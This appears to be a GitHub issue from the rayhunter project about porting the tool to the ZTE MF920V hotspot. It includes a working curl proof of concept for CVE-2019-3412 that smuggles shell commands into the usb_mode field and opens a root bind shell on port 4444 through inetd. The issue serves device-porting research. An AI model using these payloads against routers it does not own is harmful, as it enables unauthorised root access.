efforg/rayhunter#846

The ZTE MF920V (also sold as Vodafone R218) is viable to install rayhunter on. I obtained a device secondhand with firmware BD_ENATMF920VV1.0.0B04

root can be obtained using CVE-2019-3412. here is a POC:

# Login (save cookies to /tmp/zte-cookies)
curl -s -c /tmp/zte-cookies -H "Referer: http://192.168.0.1/index.html" \
  -X POST http://192.168.0.1/goform/goform_set_cmd_process \
  -d "isTest=false&goformId=LOGIN&password=$(echo -n 'YOURPASSWORD' | base64)"
# Returns: {"result":"0"} on success

# Inject a command (reuse cookies from login)
curl -s -b /tmp/zte-cookies -H "Referer: http://192.168.0.1/index.html" \
  -X POST http://192.168.0.1/goform/goform_set_cmd_process \
  -d 'isTest=false&goformId=USB_MODE_SWITCH&usb_mode=6%3bid%3b'
# The command after the semicolon (here: `id`) runs as root.

limited tools

Getting a proper root shell is hard because busybox has neither nc nor telnetd:

# 1. Write inetd config
curl -s -b /tmp/zte-cookies -H "Referer: http://192.168.0.1/index.html" \
  -X POST http://192.168.0.1/goform/goform_set_cmd_process \
  -d 'isTest=false&goformId=USB_MODE_SWITCH&usb_mode=6%3becho%20%224444%20stream%20tcp%20nowait%20root%20/bin/sh%20sh%20-i%22%20>%20/tmp/inetd.conf%3bbusybox%20inetd%20/tmp/inetd.conf%3b'

# 2. Connect
echo "id" | nc -w 3 192.168.0.1 4444
# uid=0(root) gid=0(root) groups=0(root)

so this would mean we have to write a custom file transfer for this device too.

storage is low and read-only

we can remount it using mount -o remount,rw / though.

misc

• rc.d appears to be present, so autostart should work fine.
• /dev/diag exists but didn’t test if it returns useful data.
• web interface seems to have similarities with Orbic (“goform”) and similar configurability as tplink (port triggers, forwardings)